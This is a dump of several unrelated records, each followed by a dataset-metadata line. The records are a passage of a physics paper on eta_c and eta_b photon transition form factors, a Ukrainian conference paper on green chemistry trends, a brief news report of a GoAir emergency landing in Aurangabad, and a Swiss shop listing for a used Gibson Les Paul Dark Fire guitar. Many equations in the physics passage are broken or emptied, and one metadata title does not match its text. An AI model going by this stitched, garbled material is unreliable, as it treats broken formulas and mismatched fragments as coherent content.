&=&-\frac{(x_2 q_\bot+k_\bot)^2+m_c^2}{x_1 x_2}\end{aligned}$$ Being different from the case of the light meson such as $\pi, \eta$ and $\eta^\prime$, the present of the large quark mass ($m_c\simeq 1.5$ GeV) always prevent $1/D$ from the singular point $D\ra 0$, [*i.e.*]{} the partons in the intermediate state are always far off energy-shell. This means that even at the low $Q^2$ region, the LCPQCD calculation may be still available. Employing the LCPQCD calculation rules Eq. (\[spinor\]) becomes [@Cao; @LCPQCD], $$\begin{aligned}
F^{(\lambda_1+\lambda_2=0)}_{\eta_c \gamma}(Q^2)
&=&2\sqrt{2} \sqrt{n_c} e_c^2 \int_0^1 [{\rm d}x]
\int \frac{{\rm d}^2 k_\bot}{16 \pi^3}
\frac{m_c}{\sqrt{m_c^2+k_\bot^2}}\psi(x_i,k_\bot) \nonumber \\
&~~~~\times&\left[
\frac{q_\bot \cdot (x_2 q_\bot + k_\bot)}
{q_\bot^2 [(x_2 q_\bot + k_\bot)^2+m_c^2]} +(1 \leftrightarrow 2)
\right].
\label{fh0}\end{aligned}$$
Similarly, one can obtain the contribution coming from the higher helicity components, $$\begin{aligned}
F^{(\lambda_1+\lambda_2=\pm 1)}_{\eta_c \gamma}(Q^2)&=&
\frac{\sqrt{n_c}e_c^2}{i(\epsilon_\bot \times
q_\bot)}\int_0^1[{\rm d}x] \int_0^\infty \frac{{\rm d}^2 k_\bot}{16 \pi^3}
\frac{m_c}{\sqrt{m_c^2+k_\bot^2}}\psi(x_i,k_\bot) \nonumber \\
&~~~~\times& \left[\frac{\bar v_\uparrow (x_2,-k_\bot)}
{\sqrt{x_2}}\rlap /\epsilon
\frac{u_\uparrow (x_1,k_\bot+q_\bot)}{\sqrt{x_1}}
\frac{\bar u_\uparrow (x_1,k_\bot+q_\bot)}{\sqrt{x_1}}
\gamma^+
\frac{u_\uparrow (x_1,k_\bot)}{\sqrt{x_1}}
\frac{1}{D} + (1 \leftrightarrow 2) \right] \nonumber \\
&=& 2\sqrt{2} \sqrt{n_c} e_c^2 \int_0^1 [{\rm d}x]
\int \frac{{\rm d}^2 k_\bot}{16 \pi^3}
\frac{m_c}{\sqrt{m_c^2+k_\bot^2}}\psi(x_i,k_\bot) \nonumber \\
&~~~~\times&\left[\frac{q_\bot \cdot k_\bot}
{q_\bot^2 [(x_2 q_\bot + k_\bot)^2+m_c^2]} +(1 \leftrightarrow 2) \right].
\label{fh1}\end{aligned}$$ Once again, a non-zero quark mass, $m_c$ plays an important role in the calculation of $F^{(\pm 1)}_{\eta_c \gamma}$, since in the $m_c \ra 0$ limit the matrix $\bar v_{\uparrow (\downarrow)} (x_2, -k_\bot)\rlap /\epsilon
u_{\uparrow (\downarrow)}(x_1, q_\bot +k_\bot)$ will goes to zero. Therefore, for the light meson such as $\pi$, $\eta$ and $\eta^\prime$ neglecting the contributions coming from higher helicity components should be a good approximation. Combining this matrix with the coefficients $C_0(x, k_\bot,\uparrow,\uparrow)$ and $C_0(x, k_\bot,\downarrow,\downarrow)$, one arrives the second expression in Eq. (\[fh1\]). The full result is obtained by summing up the contributions from the ordinary helicity components (Eq. (\[fh0\])) and that from the higher helicity components (Eq. (\[fh1\])), F\_[\_c ]{}(Q\^2)=F\^[(\_1+\_2=0)]{}\_[\_c ]{}(Q\^2) +F\^[(\_1+\_2=1)]{}\_[\_c ]{}(Q\^2). \[fha\]
Neglecting $k_\bot$ and $m_c$ relative to $x_2 q_\bot$ in Eqs. (\[fh0\]) and (\[fh1\]), and employing the asymptotic form distribution amplitude[^2] (x)= f\_[\_c]{} x\_1 x\_2, where $f_{\eta_c}$ is the decay constant, one can obtain the asymptotic prediction for the $\eta_c$-$\gamma$ transition form factor, F\_[\_c]{}(Q\^2)=. \[fas\] Corrections to the asymptotic prediction (Eq. (\[fas\])) come from $c$-quark mass, the $k_\bot$-dependence and the higher helicity components (see Eqs. (\[fh0\]), (\[fh1\]) and (\[fha\])). All of these corrections are suppressed by the factor $1/Q^2$ at the large-$Q^2$ region. But in the present experimentally available energy region, these contributions may be important and should be taken into account.
In order to study the $c$-quark mass effect, one may first neglect the $k_\bot$-dependence in the hard-scattering amplitude of Eq. (\[fh0\]), then one can obtain, F\_[\_c]{}(Q\^2)= 2 e\_c\^2 \_0\^1 \[[d]{}x\](x) , \[fmc\] where $\phi(x)$ is the distribution amplitude of the $\eta_c$-meson, (x)=\_0\^ (x, k\_). Because of the $c$-quark mass being large, Eq. (\[fmc\]) will approach to the asymptotic prediction (Eq. (\[fas\])) in a rather slow way, that is, the corrections coming from $c$-quark mass effect are large in a rather broad energy region. The effects of the $k_\bot$-dependence and higher helicity components can be studied by comparing the results obtained from Eqs. (\[fh0\]), (\[fh1\]), (\[fha\]) and (\[fmc\]). Also, it is interesting to notice that the correction coming from the higher helicity components is the same as that from the $k_\bot$-dependence in the ordinary helicity components (The right hand side in Eq. (\[fh1\]) is the same as the second term in the right hand side of Eq. (\[fh0\])). In the low and medium $Q^2$ region, these corrections may provide sizable contributions which should be taken into account.
We point out that the above analysis for $F_{\eta_c\gamma}$ is applicable to the form factor $F_{\eta_b\gamma}$ with the physics quantities corresponding to the $c$ quark ($e_c$ and $m_c$) and decay constant $f_{\eta_c}$ being replaced by the ones corresponding to the $b$ quark ($e_b$ and $m_b$) and $f_{\eta_b}$, respectively. The differences resulting from the $b$-quark being much heavier than the $c$-quark are as follows: First, the modification coming from $b$-quark mass effect become much severer, [*i.e.*]{} the perturbative calculation with $m_b$ effect being respected approaches to the asymptotic prediction more slowly. Second, the corrections coming from the transverse momentum dependence and the higher helicity components of the light-cone wave function may become rather mild because the $b$-quark mass is much larger than the parton’s average transverse momentum.
Numerical calculations
======================
We employ the Brodsky-Huang-Lepage (BHL) model [@BHL] for the $\eta_c$ ($\eta_b$) meson light-cone wave functions, $$\begin{aligned}
\psi^{BHL}(x,k_\bot)= A \, \rm {exp}\left[ -\frac{k_\bot^2+m^2}
{8 \beta^2 x (1-x)} \right ].
\label{model1}\end{aligned}$$ In this model, the light-cone wave function is obtained from the instant-form wave function by demanding the off-shell energies being equal in the two reference frames. The parameters $A$ and $\beta$ are determined by the following two constraints: \_0\^1\[dx\] (x,k\_) =, \_0\^1\[dx\] | (x,k\_) |\^2 =P\_[q[|q]{}/\_q]{} where $f_{\eta_q}$ ($q=c,b$) is the decay constant of the $\eta_c$ ($\eta_b$ ) meson corresponding to $f_\pi=131$ MeV, and $P_{q{\bar q}/\eta_q}$ is the probability of finding $\left | c {\bar c} \right. \rangle$ $\left( \left |b {\bar b} \right. \rangle \right)$ Fock state in the $\eta_c$ ($\eta_b$) meson. Because of the lack of experimental information, one often evaluates $f_{\eta_q}$ through various theoretical approaches. Employing the Van Royen-Weisskopf formula [@Royen] for the decay constant[^3] f\_M= | \_M(0) | where $m_M$ and $\psi_M(0)$ are the mass and wave function at the origin of the meson respectively, one can obtain that the decay constant of the pesudoscalar meson is almost the same as that of the vector meson, [*i.e.*]{} $f_P=f_V$. Although the hyperfine splitting Hamiltonian may destroy this relation [@Ahmady], the consideration of the difference coming from the mock meson spin structure may rescue it [@Hwang]. Hence, we adopt [@Hwang; @Chao] f\_[\_c]{}f\_[J/]{}420 [MeV]{}, f\_[\_b]{}f\_705 [MeV]{}. As well known, with the increasing of the constitute quark mass the valence Fock state occupies a bigger fraction in the hadron, and in the nonrelativistic limit the probability of finding the valence Fock state is going to approach unity. So one can expect $P_{q{\bar q}/\eta_q}=0.8 \sim 1.0$. Our calculation shows that the prediction for the $\eta_c$ ($\eta_b$) transition form factor, $F_{\eta_c\gamma}$ ($F_{\eta_b\gamma}$) are not sensitive to the value of $P_{c{\bar c}/\eta_c}$ ($P_{b{\bar b}/\eta_b}$) [@Feldmann]. So we may take P\_[c[|c]{}/\_c]{}=0.8, P\_[b[|b]{}/\_b]{}=1.0. From the above constrains, one can obtain the parameters in the wave functions, A=54.44 [MeV]{}\^[-1]{}, & =0.994 [MeV]{} & [for]{} \_c,\
A=4146 [MeV]{}\^[-1]{}, & =1.507 [MeV]{} & [for]{} \_b. The average transverse momenta of the quark in the mesons defined by $\langle k_\bot \rangle=\sqrt{\langle {\bf k}^2_\bot \rangle}$ with \^2\_= \_0\^1\[dx\] |[**k**]{}\_|\^2 (x,k\_) turn out to be $950 \ {\rm MeV}$ and $1.48 \ {\rm GeV}$ for the $\eta_c$ and $\eta_b$, respectively.
We present our numerical results for $F_{\eta_c\gamma}$ in figure 2. The dash-dotted line is the asymptotic prediction (Eq. (\[fas\])). The solid curve is obtained by respecting the $m_c$ effect but neglecting the corrections from the $k_\bot$-dependence and the higher helicity components (Eq. (\[fmc\])). The dashed curve is obtain by taking into account $m_c$ effect and the $k_\bot$-dependence in the ordinary light cone wave function but neglecting the contributions form the higher helicity components (Eq. (\[fh0\])). Considering all of these corrections gives the dotted curve (Eq. (\[fha\])). In the $Q^2\rightarrow \infty$ limit, all of these calculations approach the asymptotic prediction. But, because of the $c$-quark being heavy, taking into account the quark mass effect significantly modifies the perturbative prediction in a rather broad energy region. At $Q^2 \simeq 10 \ {\rm GeV}^2$, the result obtained by including the $c$-quark mass effect is only about $1/3$ of the asymptotic prediction for the $F_{\eta_c\gamma}$. At $Q^2 \simeq 100 \ {\rm GeV}^2$ the ratio is about $70\%$. Also it can be found that in the energy region of $Q^2 \leq 10 \, {\rm GeV}^2$ where the the present experiments are able to approach, the parton’s transverse momentum and higher helicity components bring sizable corrections to the prediction of $F_{\eta_c\gamma}$.
The numerical results for $F_{\eta_b\gamma}$ are given in figure 3. The curve explanations are similar as that in figure 2. It can be found that the modification resulting from the $b$-quark mass effect is much severer than that in the case of $F_{\eta_c\gamma}$, because $b$-quark is heavier than the $c$-quark. At $Q^2 \simeq 10 \ {\rm GeV}^2$, the result obtained by including the $b$-quark mass effect is only about $1/15$ of the asymptotic prediction for the $F_{\eta_b\gamma}$. At $Q^2 \simeq 100 \ {\rm GeV}^2$ the ratio is about $30\%$. On the other hand, the corrections coming form the parton’s transverse momentum and higher helicity components are negligible in the calculation of $F_{\eta_b\gamma}$ since the $b$-quark mass, $m_b$ is much heavy than the parton’s average transverse momentum in the $\eta_b$ meson. One can expect that LEP2 may examine all of these theoretical predictions in the near future.
Summary
=======
In summary, the meson photon transition form factors $F_{P\gamma}(Q^2)$ ($P$ being $\pi^0,\eta,\eta^\prime,\eta_c,\eta_b$ ...) extracted from the two photon collision are the simple exclusive processes which can provides a rather simple and rigorous way to the test of QCD and the determination of the meson wave function (non-perturbative physics). Many experimental collaboration such as TPC/Two-Gamma, CELLO, CLEO and L3 [*etc.*]{} have studied these processes. A measurement for the $F_{\eta_c\gamma}(Q^2)$ is very likely to be feasible in LEP2. In this note, we analyze the $\eta_c$- and $\eta_b$-photon transition form factors in the light-cone perturbative theory with the quark mass effect, the parton’s transverse momentum dependence and the higher helicity components of the light cone wave function are respected. It is pointed out that due to $c$- ($b$-) quark being heavy, considering the quark mass effect brings significant modifications to the perturbative predictions in a rather broad energy region. This effect is much severer for the $F_{\eta_b\gamma}$ than that for the $F_{\eta_c\gamma}$ because of the $b$-quark being heavier than $c$-quark. Also it is found that, for the $F_{\eta_c\gamma}$, the parton’s transverse momentum and higher helicity components bring sizable corrections in the present experimentally accessible energy region ($Q^2 \leq 10\sim 20 \ {\rm GeV}^2$), while these corrections are negligible in the perturbative calculation of $F_{\eta_b\gamma}$. We conclude that the coming $e^+ e^-$ collider LEP2 will provide the opportunity to examine all of these theoretical predictions.
0.5cm
[**Acknowledgments**]{}
This work partially supported by the Postdoc Science Foundation of China and the National Natural Science Foundation of China.
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Figure Captions {#figure-captions .unnumbered}
===============
[Fig. 1]{} The lowest order diagrams contributing to $F_{\eta_c \gamma}$ and $F_{\eta_b \gamma}$ in the light-cone perturbative QCD. The momenta are expressed in the light-cone variables $(+,\bot)$.
[Fig. 2(a)]{} The $\eta_c$-$\gamma $ transition form factor given in $Q^2F_{\eta_c\gamma}(Q^2)$.
[Fig. 2(b)]{} The $\eta_c$-$\gamma $ transition form factor given in $F_{\eta_c\gamma}(Q^2)$.
[Fig. 3(a)]{} The $\eta_b$-$\gamma $ transition form factor given in $Q^2F_{\eta_b\gamma}(Q^2)$.
[Fig. 3(b)]{} The $\eta_b$-$\gamma $ transition form factor given in $F_{\eta_b\gamma}(Q^2)$.
[^1]: Mailing address. E-mail address: caofg@itp.ac.cn.
[^2]: Any meson distribution amplitude should evolve into the asymptotic form in the $Q^2 \rightarrow \infty$ limit.
[^3]: The decay constants of the pseudoscalar and vector mesons are defined by $\langle 0 | {\bar Q}\gamma^\mu\gamma_5 Q^\prime | M_P({\bf K}) \rangle
=f_P K^\mu$ and $\langle 0 | {\bar Q}\gamma^\mu Q^\prime | M_V({\bf K},\varepsilon) \rangle
=f_V m_V \varepsilon^\mu$, respectively, where $\varepsilon$ is the polarization vector of the vector meson, and $K$ is the meson momentum.
| mini_pile | {'original_id': 'e5bf9373221c15029d3f8a6157d22ec91ed34ce20211658b21c0e9a976e6f817'} |
November 2023 November 2023 World scientific and technical trends 2023 https://www.proconference.org/index.php/gec/article/view/gec30-00-010
DOI: 10.30890/2709-1783.2023-30-00-010 Conference proceedings p
Key words: green chemistry, sustainable development, ecology, environment, chemistry. Key words: green chemistry, sustainable development, ecology, environment, chemistry. GREEN CHEMISTRY TRENDS IN THE CONTEXT OF THE CONCEPT OF
SUSTAINABLE DEVELOPMENT
ТЕНДЕНЦІЇ ЗЕЛЕНОЇ ХІМІЇ У КОНТЕКСТІ КОНЦЕПЦІЇ СТАЛОГО РОЗВИТКУ Stetsenko N.O. / Стеценко Н.О. c.с.s., as.prof. / к.х.н., доц. ORCID: 0000-0001-6710-024X
Bublienko N.O. / Бублієнко Н.О. c.t.s., as.prof. / к.т.н., доц. ORCID: 0000-0003-0299-4646
National University of Food Technologies,
Kyiv, Volodymyrska str. 68, 01601
Національний університет харчових технологій,
Київ, вул. Володимирська 68, 01601 Анотація. У роботі розглядається сучасний напрям розвитку хімії та хімічної
технології – зелена хімія. Він ґрунтується на тому, що потрібно застосовувати інноваційні
способи отримання хімічних сполук, щоб не завдати шкоди навколишньому середовищу ні
при їх виробництві, ні при їх використанні. Долучення енергоефективних методів
виробництва хімічних речовин сприятиме скороченню витрат на енергоресурси та
зниженню викидів шкідливих речовин у атмосферу, що є важливим кроком у напрямі
сталого розвитку. Ключові слова: зелена хімія, сталий розвиток, екологія, навколишнє середовищ Abstract. The work considers the modern direction of development of chemistry and chemical
technology - green chemistry. It is based on the fact that it is necessary to apply innovative methods
of obtaining chemical compounds in order not to harm the environment either during their
production or during their use. The inclusion of energy-efficient methods of production of
chemicals will contribute to the reduction of energy costs and the reduction of emissions of harmful
substances into the atmosphere, which is an important step in the direction of sustainable
development. Вступ. Вступ. Проблеми погіршення стану навколишнього середовища турбують кожну
людину на планеті. Головними чинниками забруднення довкілля визнано
наслідки діяльності підприємств енергетичної галузі, транспорту, металургії,
хімічної та харчової промисловості, виробництва будівельних матеріалів тощо. На багатьох з них використовуються хімічні реагенти та хімічні процеси. Тому
не дивно, що для сприйняття пересічної людини хімія та хімічні технології є чи
не найголовнішими винуватцями розповсюдження ксенобіотиків на значних
територіях планети, погіршення умов життя, виникнення численних хвороб, 32 World scientific and technical trends 2023 November 2023 генетичних змін, руйнування генофонду. генетичних змін, руйнування генофонду. Можемо подивитися на цю проблему під іншим кутом зору. Ще Д.І. Менделєєв вважав, що у хімії немає відходів, а є невикористана сировина. Прогресивні хімічні технології передбачають повернення відходів процесу
виробництва та споживання до кругообігу процесу відтворення. У тому і
полягає унікальність хімії, що вона, на відміну від переважної більшості інших
галузей, не тільки намагається максимально знешкодити, а й перетворити
відходи на корисні суспільству продукти. Conference proceedings Основний текст За ініціативи та підтримки Міжнародного союзу теоретичної та прикладної
хімії (IUPAC) було сформульовано загальний методологічний підхід та
визначено напрямок розвитку хімії майбутнього «Зелена хімія – хімія на
користь сталого розвитку». Основу такого підходу становлять принципи, що
дозволяють хімікам усіх спеціальностей враховувати у своїй роботі питання
екологічної прийнятності, енергетичної та хімічної ефективності нових методів
одержання речовин та нових хімічних технологій. Як науковий напрямок,
зелена хімія виникла у 90-ті роки минулого століття, коли у Нью-Йорку
видавництвом Оксфордського університету (Oxford University Press) була
видана книга «Зелена хімія: теорія і практика» [1]. Принципово важливо зрозуміти відмінності «зеленої хімії» від існуючої
«екологічної хімії». Екологічна хімія фактично являла собою хімію
навколишнього середовища та захищала природу тим, що вивчала джерела,
поширення, стійкість та наслідки впливу хімічних забруднювачів. При цьому
основні напрями хімічних рішень були такими: ліквідувати забруднювачі, що
надійшли у навколишнє середовище, локалізувати їхнє поширення та
обмежувати їхню появу. "Зелена хімія" – це якісно новий напрям, адже це хімія для збереження
навколишнього середовища. За традиційного підходу ризики, пов'язані з
хімічним виробництвом, намагаються мінімізувати чи якимось чином
нейтралізувати. Сучасний підхід вимагає отримувати потрібну речовину
інноваційним способом так, щоб не завдати шкоди навколишньому середовищу
ні при її отриманні, ні при її використанні та, таким чином, не порушити
екологічну рівновагу [2]. Підходи зеленої хімії передбачають перехід від переважно переробки
забруднень до використання інших хімічних процесів виробництва. Доцільно
змінювати не лише технологію, а й зменшувати кількість стадій виробництва,
наслідком чого стане скорочення витрат енергії, що використовується, а це, у 33 World scientific and technical trends 2023 November 2023 свою чергу, позитивно позначиться на ефективності виробництва з точки зору
економіки та екології. Зелена хімія базується на відмові від використання
шкідливих речовин та на створенні ідеальних процесів отримання потрібних
сполук, які нешкідливі на всіх стадіях виробництва. Такі процеси дозволяють
взагалі виключити використання шкідливих речовин та появу відходів і
викидів, небезпечних для довкілля. Можна виділити комплекс елементів, що становлять поняття «зелена
хімія»: якість життя; добробут людей; збереження довкілля; нанотехнології;
сталий розвиток. Розвиток нових матеріалів відіграє ключову роль у хімічній індустрії
майбутнього. Наноматеріали, біополімери та біорозкладні матеріали стають
пріоритетом у контексті сталого виробництва. Вони мають унікальні
властивості, що дозволяє застосовувати їх у медицині, енергетиці, будівництві
та інших галузях [3]. Підвищення енергоефективності у виробництві хімічних речовин – це один
з головних напрямів розвитку. Дослідження у галузі каталізу дозволяють
скорочувати енерговитрати під час хімічних реакцій. Це важливий чинник,
оскільки зниження енергоспоживання призводить до економії ресурсів та
скорочення викидів в атмосферу. Conference proceedings Основний текст Використання біотехнологій стає невід'ємною частиною майбутньої
хімічної
промисловості. Використання
мікроорганізмів
для
отримання
біопалива та інших біохімічних продуктів є перспективним напрямом, що не
лише сприяє зниженню використання штучних матеріалів, а й зменшує
негативний вплив на довкілля. Комп'ютерне моделювання хімічних взаємодій та процесів відіграє
важливу роль у прискоренні розробки нових матеріалів та оптимізації
виробничих процесів. Це дозволяє теоретично дослідити хімічні реакції та їх
продукти, розробляти різні варіанти синтезу та скорочувати експериментальні
витрати на створення нових речовин із заданими властивостями. Висновки Зазначені тенденції зеленої хімії підкреслюють важливість інновацій у
хімічній індустрії майбутнього, що потребує постійної уваги до розроблення
нових технологій та принципів виробництва, які забезпечують стійкість та
мінімальний вплив на навколишнє середовище. Виробництво
інноваційних
матеріалів
нового
покоління,
зокрема
біорозкладних, переробка вторинних сировинних ресурсів відкриває широкі
перспективи їх застосування у різних галузях. Долучення енергоефективних 34 World scientific and technical trends 2023 November 2023 методів виробництва хімічних речовин сприятиме скороченню витрат на
енергоресурси та зниженню викидів шкідливих речовин у атмосферу, що є
важливим кроком у напрямі сталого розвитку. Література: 1. Anastas P.T., Warner J.C. Green Cemistry: Theory and Practice. – Oxford
University Press, New York, 1998. – 30 р. 1. Anastas P.T., Warner J.C. Green Cemistry: Theory and Practice. – Oxford
University Press, New York, 1998. – 30 р. 2. Тіхомірова Ф.А. Зелена хімія: нова хімічна філософія // Вісник
Одеського національного університету. Хімія. –2015. – Т. 20, № 54. – С. 93-100. 3. Тевтуль Я. Ю. Зелена електрохімія – можливості і перспективи //
Науковий вісник Чернівецького університету. Хімія. – 2014. – №683. – С. 78-84. Стаття відправлена: 20.12.2023 р. © Стеценко Н.О., Бублієнко Н.О. Conference proceedings Conference proceedings 35 | common_corpus | {'identifier': 'https://openalex.org/W4390468961', 'collection': 'OpenAlex', 'open_type': 'Open Science', 'license': 'CC-By', 'date': '2023.0', 'title': 'DETERMINATION OF WAYS TO IMPROVE THE DESIGN EFFICIENCY OF AUTOMATED CONTROL SYSTEMS BASED ON A SPECIAL', 'creator': 'S Kupriyenko', 'language': 'Ukrainian', 'language_type': 'Spoken', 'word_count': '1078', 'token_count': '3592', '__index_level_0__': '31051', 'original_id': '042bdb9273d7fd508ae735c2eeb411ce83a28265698ecf746bbdb43f3d7d9ae2'} |
GoAir flight makes emergency landing at Aurangabad airport
Mumbai: A technical glitch forced budget carrier GoAir to divert its city-bound flight from Patna to Aurangabad, where it made an emergency landing.
Theflight G8-586 had 158 people on board including the crew, GoAir said in a statement.
“GoAir flight G8-586 from Patna to Mumbai made an emergency landing at Aurangabad airport due to technical glitch,” the airline said in the statement.
All the 158 passengers on board, including crew, landed safely and will be accommodated on an alternate flight to their destination, it added. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9618560671806335}", 'metadata': "{'Content-Length': '105647', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:BSFMDLUVQGDN3DBCVDR7AX6ZH6IZNKYQ', 'WARC-Concurrent-To': '<urn:uuid:9e0b69fe-5c2c-444b-8ac0-25448f737342>', 'WARC-Date': datetime.datetime(2019, 6, 18, 7, 21, 42), 'WARC-IP-Address': '35.154.250.106', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:FYGH7NKBGSL7KZXIGYTDOTLS54XKQZRI', 'WARC-Record-ID': '<urn:uuid:c063ceb0-ff98-4587-83b9-e5127a124d80>', 'WARC-Target-URI': 'https://odishatv.in/nation/goair-flight-makes-emergency-landing-at-aurangabad-airport-375324', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:4c4ed37a-2ec0-4df8-94ee-cf71052cfe37>', 'WARC-Truncated': None}", 'previous_word_count': '92', 'url': 'https://odishatv.in/nation/goair-flight-makes-emergency-landing-at-aurangabad-airport-375324', 'warcinfo': 'isPartOf: CC-MAIN-2019-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-81-161-154.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.2925493121147156', 'original_id': 'cf3ef81495f337335d4d02fae701d0b99349fe9efb76dd1147f396526f771a1f'} |
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Gibson Les Paul Dark Fire Occasion Limited Edition First Run Promotion!
Artikel-Nr.: 111324
Lager: Lager
CHF 2'145.00
seltene limitierte GIBSON Les Paul
sehr guter Zustand
Serial-N° DF 2664
dieses Instrument ist aktuell mit Sperzel-Locking-Tuner ausgestattet und wurde neu bundiert
Original Robot-Tuner und Elektronik ist alles mit dabei. Kann auf Wunsch von unserem
Gitarren-Techniker/Spezialist rückgebaut werden.
das Bundle beinhaltet folgende Leistungen :
01 x Instrument
01 x Original GIBSON Dark Fire Case
01 x MUSIKHAUS LUZERN GmbH Check / SetUp Package im Wert von CHF 80.00
- kompletter Check des Instruments bei Wareneingang
- Halskrümmung und Saitenlage wird optimal eingestellt
- Oktavrein
hier die Beschreibung in Englisch ( gewisse Features sind nur möglich, wenn die
Elektronik wieder zurück gebaut wird, im Moment entspricht die Verwendung
einer Les Paul Standard )
Analog or digital, the Gibson Dark Fire Electric Guitar gives you an infinite number of tonal possibilities to let you change the tone of the Dark Fire to match your environment. And it begins with a guitar's most basic element"the pickups. The Gibson Dark Fire combines two of Gibson's most popular pickups"the P-90H in the neck position and a BurstBucker 3 in the bridge position. Both are capped with carbon fiber-like pickup covers, impeccably designed to match the Dark Fire's advanced fade.
Acoustic Capability.
The Dark Fire also gives you the ability to adjust and blend the acoustic sound from the piezo bridge pickup with the sound from the guitar's traditional pickups. It does this by utilizing a revolutionary rotary potentiometer which is part of the pickup selector toggle switch. By twisting the switch's head clockwise or counterclockwise, you can blend the piezo acoustic sound from zero percent acoustic sound (100 percent traditional pickups) to 100 percent acoustic sound (no traditional pickups).
BurstBucker 3.
The BurstBucker 3 arrived on the scene in 1990, and"like the BurstBucker 1 and 2"represents Gibson's drive to capture and recreate the characteristics of the vintage Patent Applied For humbuckers of the late 1950s. On the shop floor of the original Gibson plant in Kalamazoo, Michigan, the earliest Gibson PAF humbuckers were wound using imprecise machines, resulting in pickups with varying degrees of output and tone. The BurstBucker line represents those variations, but with some modern appointments. The BurstBucker 3 provides historically accurate PAF tone with two slightly overwound coils, creating a raw, airy tone packed with enough punch to cut through any mix.
Gibson's P-90H Pickup
The P-90H black soapbar pickup is another example of Gibson's drive to stay one step ahead. This pickup offers all of the soulful, classic tone of Gibson's prized P-90 single-coil pickup, but with none of the 60-cycle hum that usually plagues traditional single-coil pickups. Gibson's pioneering engineers were then able to secure all of the P-90's vintage sonic characteristics, and deliver the same high output and sweet treble response that still makes the P-90 a highly sought-after pickup.
Piezo Bridge Pickup.
Tone Potentiometer and CPA.
The Dark Fire guitar's tone potentiometer and CPA have also been redesigned so that turning the tone knob allows a very intuitive and significant change in tone, thus giving you even more ability to dial in your desired tone. This pioneering Gibson circuitry is studio quality with very little noise and/or signal loss, which delivers as much of the guitar's authentic tone as possible.
PerfectSetup by PLEK.
Also part of the Dark Fire package is a super fast and comfortable asymmetrical neck design that is rendered to optimum playability with a PerfectSetup by the revolutionary, computer-controlled PLEK system, which has been acknowledged as the most precise guitar set-up technology in the world today.
And, It Gets Better...
Additionally, the Dark Fire features improved locking tuners, a Teflon-based frictionless nut, a bridge that locks to the studs and a chambering system that gives each one near-perfect tone, balance and weight. It also makes the Dark Fire one of the best-sustaining Les Pauls ever produced.
Chameleon Tone Technology.
The original Robot Guitar took the guitar world by storm when it was first introduced in December '07, but the Dark Fire from Gibson is simply the most advanced guitar system ever developed. In fact, many of the technological advances on the Dark Fire were virtually inconceivable just a few years ago; the Powerhead tuners, the tuning brain, the battery function and the sonic capabilities of a fully digital guitar make the Dark Fire electric guitar a virtual upgrade in every respect. Perhaps most impressive is Gibson's Chameleon Tone Technology, which allows you to change your guitar's tone to match countless environments and to recreate any guitar sound you ever lusted after. The Dark Fire is guaranteed to give you a new, stunning level of tonal and functional freedom. Release your creative potential with this exciting Gibson guitar.
Master Control Knob.
The key to controlling the powerful functions of the Dark Fire is the Master Control Knob (MCK), which has been completely redesigned with much improved ergonomics and a sophisticated full color matrix display featuring LEDs and high-tech light pipe technology, all to deliver a more powerful and easier to see visual display under any light condition. In addition to the MCK's top mounted display, LED-lit symbols now adorn its outer edge, which blend with the color of the knob so that they're only visible when lit. The Dark Fire's MCK also controls the ability to change pickups and coils, allowing you the ability to adjust tone and tunings automatically and simultaneously, even several times during the same song.
500 Tunings from a Single Battery Charge.
The Dark Fire's battery system and power circuit have also been significantly improved to last nearly twice as long, even with the guitar's enhanced performance. You can now expect nearly 500 tunings from a single charge. Additionally, you can play the Dark Fire while the battery system is being charged. ALso, there's a 12-volt DC connector for the Robot Interface Pack's power supply, which both powers the RIP itself and recharges the Dark Fire's battery when required.
Let it RIP.
While the heart of the Gibson Dark Fire's abilities lie within the guitar itself, the compact Robot Interface Pack (RIP) interface can connect this versatile guitar to Windows or Mac computers to release Dark Fire's ultimate tonal versatility"live or in the studio. In fact, the RIP lets you realize the full potential of Gibson's Chameleon Tone Technology.
RIP connects to your computer with a single FireWire cable: There's no need to open up the computer, and you can easily move RIP from desktop to laptop or any other computer. The computer gives you instant access to countless recording applications and software effects processors, including Ableton Live 7 Gibson Studio Edition and Native Instruments' Guitar Rig 3, both of which come with every Dark Fire guitar. Use these programs to record your latest ideas, access hundreds of different guitar effects and amplifiers, create backing tracks and much more.
How The RIP Works.
RIP includes high-quality converters that translate Dark Fire's analog signal to a digital signal that works with computer music programs. Record and play back layers of your guitar riffs, add in drum parts included with Live, mix your tracks and play everything back through two standard, 1/4-inch main output jacks. These are compatible with a huge variety of mixers, amps and powered monitors; or monitor through the RIP's 1/8-inch stereo headphone jack.
In addition to accepting a master guitar output and piezo pickup output for acoustic sounds, RIP can also extract a signal from each individual string, and process each one with individual effects"putting a virtual symphony at your fingertips. Add octave dividers to the lower strings for thundering bass sounds, distortion on the top three strings for searing leads and chorus on all six strings for liquid rhythm guitar sounds"all playable simultaneously. It's the biggest guitar sound you've ever heard.
And that's not all: Another special output is compatible with guitar-to-MIDI converters from companies such as Axon and Roland, turning Dark Fire into an exceptional MIDI guitar. The Dark Fire electric guitar owners will even be able to connect to the internet through their RIPs to download firmware updates, along with upgraded functions and software features, as they become available from Gibson.
While a standard guitar chord lets you use the Gibson Dark Fire like any guitar with pickups, using the stereo TRS cable included with Dark Fire lets the RIP recharge its long-life battery, even while you're playing. You can also separate the magnetic pickups and piezo pickup, and send them separately through the two outputs"imagine a distorted sound through an amp, and the clean, doubled piezo sound going through another amp or a PA system. RIP isn't just another pretty box: It's the key to taking Dark Fire to places no electric guitar has ever gone before.
Fully Upgradable, Always Cutting Edge.
